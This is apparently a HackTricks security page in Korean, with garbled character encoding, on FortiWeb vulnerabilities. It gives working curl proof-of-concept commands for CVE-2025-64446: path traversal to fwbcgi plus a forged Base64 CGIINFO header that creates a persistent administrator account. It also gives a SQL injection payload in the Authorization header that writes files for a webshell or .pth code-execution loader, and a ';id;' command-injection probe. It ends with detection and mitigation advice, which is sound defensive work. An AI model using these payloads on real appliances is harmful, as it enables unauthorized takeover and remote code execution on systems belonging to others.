Fortinet FortiWeb โ€” Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

Fortinet FortiWeb๋Š” ์ค‘์•™์ง‘์ค‘์‹ CGI ๋””์ŠคํŒจ์ฒ˜๋ฅผ /cgi-bin/fwbcgi์— ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๊ฐœ์˜ ์ทจ์•ฝ์  ์ฒด์ธ์„ ์ด์šฉํ•˜๋ฉด ์ธ์ฆ๋˜์ง€ ์•Š์€ ์›๊ฒฉ ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹ค์Œ์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • ์œ ํšจํ•œ API prefix๋กœ URL์„ ์‹œ์ž‘ํ•˜๊ณ  directory traversal์„ ํ†ตํ•ด fwbcgi์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  • CGI๊ฐ€ ์‹ ์›์œผ๋กœ ์‹ ๋ขฐํ•˜๋Š” ํŠน์ˆ˜ HTTP header๋ฅผ ์ œ๊ณตํ•˜์—ฌ ๋ชจ๋“  ์‚ฌ์šฉ์ž(๋‚ด์žฅ๋œ admin ํฌํ•จ)๋ฅผ ๊ฐ€์žฅํ•ฉ๋‹ˆ๋‹ค.

๋ฒค๋” ๊ถŒ๊ณ : FGโ€‘IRโ€‘25โ€‘910 (CVEโ€‘2025โ€‘64446). ์‹ค์ œ๋กœ ์ง€์†์ ์ธ admin ๊ณ„์ • ์ƒ์„ฑ์„ ์œ„ํ•ด ์•…์šฉ๋œ ์‚ฌ๋ก€๊ฐ€ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋ฒ„์ „(๊ณต๊ฐœ ๋ฌธ์„œ ๊ธฐ์ค€):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 โ‰ค 6.4.3
  • 6.3 โ‰ค 6.3.23

FortiWeb 8.0.2๋Š” ์•„๋ž˜์˜ traversal probe์— ๋Œ€ํ•ด HTTP 403์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

๋น ๋ฅธ ์ทจ์•ฝ์„ฑ ํƒ์ง€

  • API prefix์—์„œ fwbcgi๋กœ์˜ Path traversal:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • ํ•ด์„: HTTP 200 โ†’ ์ทจ์•ฝํ•  ๊ฐ€๋Šฅ์„ฑ ๋†’์Œ; HTTP 403 โ†’ ํŒจ์น˜๋จ.

๊ทผ๋ณธ ์›์ธ ์ฒด์ธ

  1. API-prefix path traversal to internal CGI
  • ์œ ํšจํ•œ FortiWeb API ์ ‘๋‘์‚ฌ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋ชจ๋“  ์š”์ฒญ ๊ฒฝ๋กœ(์˜ˆ: /api/v2.0/cmdb/ ๋˜๋Š” /api/v2.0/cmd/)๋Š” ../๋กœ /cgi-bin/fwbcgi๊นŒ์ง€ ์ˆœํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.
  1. Minimal-body validation bypass
  • fwbcgi์— ๋„๋‹ฌํ•˜๋ฉด, ์ฒซ ๋ฒˆ์งธ ๊ด€๋ฌธ์€ /var/log/inputcheck/ ์•„๋ž˜์˜ ๊ฒฝ๋กœ๋ณ„ ํŒŒ์ผ๋กœ ํ‚ค๋œ ๊ด€๋Œ€ํ•œ JSON ๊ฒ€์‚ฌ๋ฅผ ์ˆ˜ํ–‰ํ•œ๋‹ค. ํŒŒ์ผ์ด ์—†์œผ๋ฉด ๊ฒ€์‚ฌ๋Š” ์ฆ‰์‹œ ํ†ต๊ณผ๋œ๋‹ค. ํŒŒ์ผ์ด ์žˆ์œผ๋ฉด, ๋ฐ”๋””๋Š” ์œ ํšจํ•œ JSON์ด๋ฉด ์ถฉ๋ถ„ํ•˜๋‹ค. ์ตœ์†Œ ์ค€์ˆ˜ ๋ฐ”๋””๋กœ {}๋ฅผ ์‚ฌ์šฉํ•˜๋ผ.
  1. Header-driven user impersonation
  • ํ”„๋กœ๊ทธ๋žจ์€ CGI ํ™˜๊ฒฝ๋ณ€์ˆ˜ HTTP_CGIINFO(HTTP ํ—ค๋” CGIINFO์—์„œ ์œ ๋ž˜)๋ฅผ ์ฝ๊ณ , Base64๋กœ ๋””์ฝ”๋“œํ•œ ๋’ค JSON์„ ํŒŒ์‹ฑํ•˜์—ฌ ์†์„ฑ์„ ๋กœ๊ทธ์ธ ์ปจํ…์ŠคํŠธ์— ์ง์ ‘ ๋ณต์‚ฌํ•˜๊ณ  ๋„๋ฉ”์ธ/VDOM์„ ์„ค์ •ํ•œ๋‹ค. ๊ด€์‹ฌ ํ‚ค:
  • username, loginname, vdom, profname
  • ๋‚ด์žฅ ๊ด€๋ฆฌ์ž(admin)๋ฅผ ๊ฐ€์žฅํ•˜๊ธฐ ์œ„ํ•œ ์˜ˆ์‹œ JSON:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

์œ„์˜ Base64 (์‹ค์ œ ํ˜„์žฅ์—์„œ ์‚ฌ์šฉ๋œ ํ˜•ํƒœ):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

์—”๋“œ-ํˆฌ-์—”๋“œ ๋‚จ์šฉ ํŒจํ„ด (์ธ์ฆ๋˜์ง€ ์•Š์Œ โ†’ admin)

  1. API-prefix traversal์„ ํ†ตํ•ด /cgi-bin/fwbcgi์— ๋„๋‹ฌํ•œ๋‹ค.
  2. ์ž…๋ ฅ ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผ์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์œ ํšจํ•œ JSON ๋ฐ”๋””(์˜ˆ: {})๋ฅผ ์ œ๊ณตํ•œ๋‹ค.
  3. JSON์ด ๋Œ€์ƒ ์‹๋ณ„์ž(target identity)๋ฅผ ์ •์˜ํ•˜๋„๋ก CGIINFO: <base64(json)> ํ—ค๋”๋ฅผ ์ „์†กํ•œ๋‹ค.
  4. ํŠน๊ถŒ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด fwbcgi๊ฐ€ ๊ธฐ๋Œ€ํ•˜๋Š” ๋ฐฑ์—”๋“œ JSON์„ POSTํ•œ๋‹ค(์˜ˆ: ์ง€์†์„ฑ ์œ ์ง€๋ฅผ ์œ„ํ•ด admin ์‚ฌ์šฉ์ž ์ƒ์„ฑ).

Minimal cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin์„ ์‚ฌ์นญํ•˜์—ฌ ์ƒˆ๋กœ์šด local admin user๋ฅผ ์ƒ์„ฑ:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

์ฐธ๊ณ :

  • /var/log/inputcheck/<path>.json์ด(๊ฐ€) ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด ์ž„์˜์˜ ์œ ํšจํ•œ JSON ๋ณธ๋ฌธ(์˜ˆ: {})์ด๋ฉด ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.
  • action schema๋Š” FortiWeb ๋‚ด๋ถ€์šฉ์ž…๋‹ˆ๋‹ค; ์œ„ ์˜ˆ์ œ๋Š” ์ „์ฒด ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋กœ์ปฌ ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

๋น ๋ฅด๊ฒŒ ํ™•์ธํ•  ๋งŒํ•œ ๋‹ค๋ฅธ FortiWeb 2025 ์ทจ์•ฝ์ 

Pre-auth Fabric Connector SQLi โ†’ RCE (CVE-2025-25257)

  • ์˜ํ–ฅ ๋Œ€์ƒ: 7.6.0โ€“7.6.3, 7.4.0โ€“7.4.7, 7.2.0โ€“7.2.10, 7.0.0โ€“7.0.10. 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11์—์„œ ์ˆ˜์ •๋จ.
  • ๋ฒ„๊ทธ: get_fabric_user_by_token()๊ฐ€ Authorization: Bearer <token> ๊ฐ’์„ SQL ์ฟผ๋ฆฌ์— ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” MySQL ์‚ฌ์šฉ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰๋˜๋Š” SQL์„ ์‚ฝ์ž…ํ•˜์—ฌ SELECT ... INTO OUTFILE๋กœ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋„๋ก ํ•˜์—ฌ ์ฝ”๋“œ ์‹คํ–‰(์›น์…ธ/.pth ๋กœ๋”)์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ผ๋ฐ˜์ ์ธ ๊ณต๊ฒฉ ํ‘œ๋ฉด: /api/fabric/device/status (๋ฐ ๋‹ค๋ฅธ Fabric Connector ์—”๋“œํฌ์ธํŠธ) โ€” ๊ด€๋ฆฌ ํ”Œ๋ ˆ์ธ์—์„œ HTTP/HTTPS๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅ.
  • SQLi์— ๋Œ€ํ•œ ๋น ๋ฅธ ํ…Œ์ŠคํŠธ:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
  • Weaponization: FortiWeb์˜ Python site-packages์— .pth๋ฅผ ์ž‘์„ฑํ•ด ์ธํ„ฐํ”„๋ฆฌํ„ฐ ์‹œ์ž‘ ์‹œ os;os.system(...)์„ importํ•˜๊ฒŒ ๋งŒ๋“ค๊ฑฐ๋‚˜, ์›น๋ฃจํŠธ ์•„๋ž˜์— CGI๋ฅผ ๋ฐฐ์น˜ํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค๋ฅผ ์žฌ์‹œ์ž‘ํ•˜๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • ํƒ์ง€ ๋‹จ์„œ: Authorization ํ—ค๋”์— quotes/UNION/SELECT ํฌํ•จ; /data/lib/python*/site-packages/ ๋˜๋Š” /data/var/waf/html/ROOT/cgi-bin/ ์•„๋ž˜์˜ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ํŒŒ์ผ๋“ค.

FortiCloud SSO signature bypass (CVE-2025-59719)

  • Improper SAML signature verification์œผ๋กœ ๊ณต๊ฒฉ์ž๊ฐ€ FortiCloud SSO ์‘๋‹ต์„ ์œ„์กฐํ•ด ์ž๊ฒฉ์ฆ๋ช… ์—†์ด ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • FortiCloud SSO login์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋งŒ ์•…์šฉ ๊ฐ€๋Šฅ(์žฅ์น˜๊ฐ€ GUI๋กœ ๋“ฑ๋ก๋˜๋ฉด ์ฒดํฌ๋ฐ•์Šค๊ฐ€ ํ•ด์ œ๋˜์ง€ ์•Š์€ ํ•œ ์ž๋™์œผ๋กœ ์ผœ์ง).
  • Affected (per PSIRT): 8.0.0, 7.6.0โ€“7.6.4, 7.4.0โ€“7.4.9. Patched in 8.0.1 / 7.6.5 / 7.4.10.

OS command injection in management plane (CVE-2025-58034)

  • Affected: 7.0.0โ€“7.0.11, 7.2.0โ€“7.2.11, 7.4.0โ€“7.4.10, 7.6.0โ€“7.6.5, 8.0.0โ€“8.0.1. Fixed in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
  • Practical probe (non-destructive): ๊ด€๋ฆฌ HTTP ์—”๋“œํฌ์ธํŠธ์— ํŒŒ๋ผ๋ฏธํ„ฐ๋กœ ;id; ๋ฅผ ๋ณด๋‚ด๊ณ , ๋ช…๋ น ์ถœ๋ ฅ์ด ํฌํ•จ๋œ 500 ์‘๋‹ต์ด ๋Œ์•„์˜ค๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค; echo๊ฐ€ ๋ณด์ด๋ฉด ์ฆ‰์‹œ ์ฐจ๋‹จํ•˜๊ฑฐ๋‚˜ ํŒจ์น˜ํ•˜์„ธ์š”.

Detection

  • /cgi-bin/fwbcgi์— ๋„๋‹ฌํ•˜๋Š” ์š”์ฒญ์ด ../๋ฅผ ํฌํ•จํ•œ API-ํ”„๋ฆฌํ”ฝ์Šค ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ๋“ค์–ด์˜ค๋Š” ๊ฒฝ์šฐ (์˜ˆ: /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi).
  • CGIINFO ํ—ค๋”๊ฐ€ Base64 JSON์œผ๋กœ ์กด์žฌํ•˜๊ณ  username/loginname/vdom/profname ํ‚ค๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ.
  • Fabric Connector SQLi: Authorization ํ—ค๋”์— SQL ๋ฉ”ํƒ€๋ฌธ์ž๊ฐ€ ํฌํ•จ๋˜๊ฑฐ๋‚˜, Python site-packages/CGI ๋””๋ ‰ํ„ฐ๋ฆฌ์— ๊ฐ‘์ž‘์Šค๋Ÿฐ ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜๊ฑฐ๋‚˜, ์ธํ„ฐ๋„ท IP์—์„œ /api/fabric/device/status์— ์ ‘๊ทผํ•œ ๊ธฐ๋ก์ด ์žˆ๋Š” ๊ฒฝ์šฐ.
  • FortiCloud SSO: /var/log/ssod์—์„œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ SAML issuer ๋˜๋Š” audience ๊ฐ’์ด ๋ฐœ๊ฒฌ๋˜๋Š” ๊ฒฝ์šฐ.
  • Backend artifacts:
  • /var/log/inputcheck/ ์•„๋ž˜ ๊ฒฝ๋กœ๋ณ„ ํŒŒ์ผ๋“ค(๊ฒŒ์ดํŠธ ์„ค์ •).
  • ์˜ˆ๊ธฐ์น˜ ์•Š์€ ๊ด€๋ฆฌ์ž ๊ณ„์ • ์ƒ์„ฑ ๋ฐ ์„ค์ • ๋ณ€๊ฒฝ.
  • ๋น ๋ฅธ ๊ฒ€์ฆ: ํŠธ๋ž˜๋ฒ„์„ค ํ”„๋กœ๋ธŒ๊ฐ€ 200์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ๋…ธ์ถœ(ํŒจ์น˜๋œ ๋นŒ๋“œ์—์„œ๋Š” 403 ์ฐจ๋‹จ).

Mitigation

  • ๋ฒค๋” ๊ถŒ๊ณ ์— ๋”ฐ๋ผ ๊ณ ์ • ๋ฆด๋ฆฌ์Šค๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ(์˜ˆ: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12).
  • ๋‹ค๋ฅธ 2025 ์ทจ์•ฝ์ ๋“ค๋„ ํŒจ์น˜: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
  • ํŒจ์น˜ ์ „๊นŒ์ง€:
  • FortiWeb management plane์„ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋„คํŠธ์›Œํฌ์— ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”.
  • ๋‹ค์Œ์„ ์ฐจ๋‹จํ•˜๋„๋ก reverse-proxy/WAF ๊ทœ์น™์„ ์ถ”๊ฐ€ํ•˜์„ธ์š”:
  • /api/๋กœ ์‹œ์ž‘ํ•˜๊ณ  ../cgi-bin/fwbcgi๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ๋กœ๋“ค.
  • CGIINFO ํ—ค๋”๋ฅผ ๋‹ด์€ ์š”์ฒญ๋“ค.
  • Authorization์— SQL ๋ฉ”ํƒ€๋ฌธ์ž๊ฐ€ ํฌํ•จ๋œ Fabric Connector ํ˜ธ์ถœ๋“ค.
  • FortiCloud SSO๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด SAML ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ธํ„ฐ๋„ท์— ๋…ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”.
  • ์œ„์˜ ํƒ์ง€ ์ง€ํ‘œ๋“ค์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ๊ฒฝ๋ณด๋ฅผ ์„ค์ •ํ•˜์„ธ์š”.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ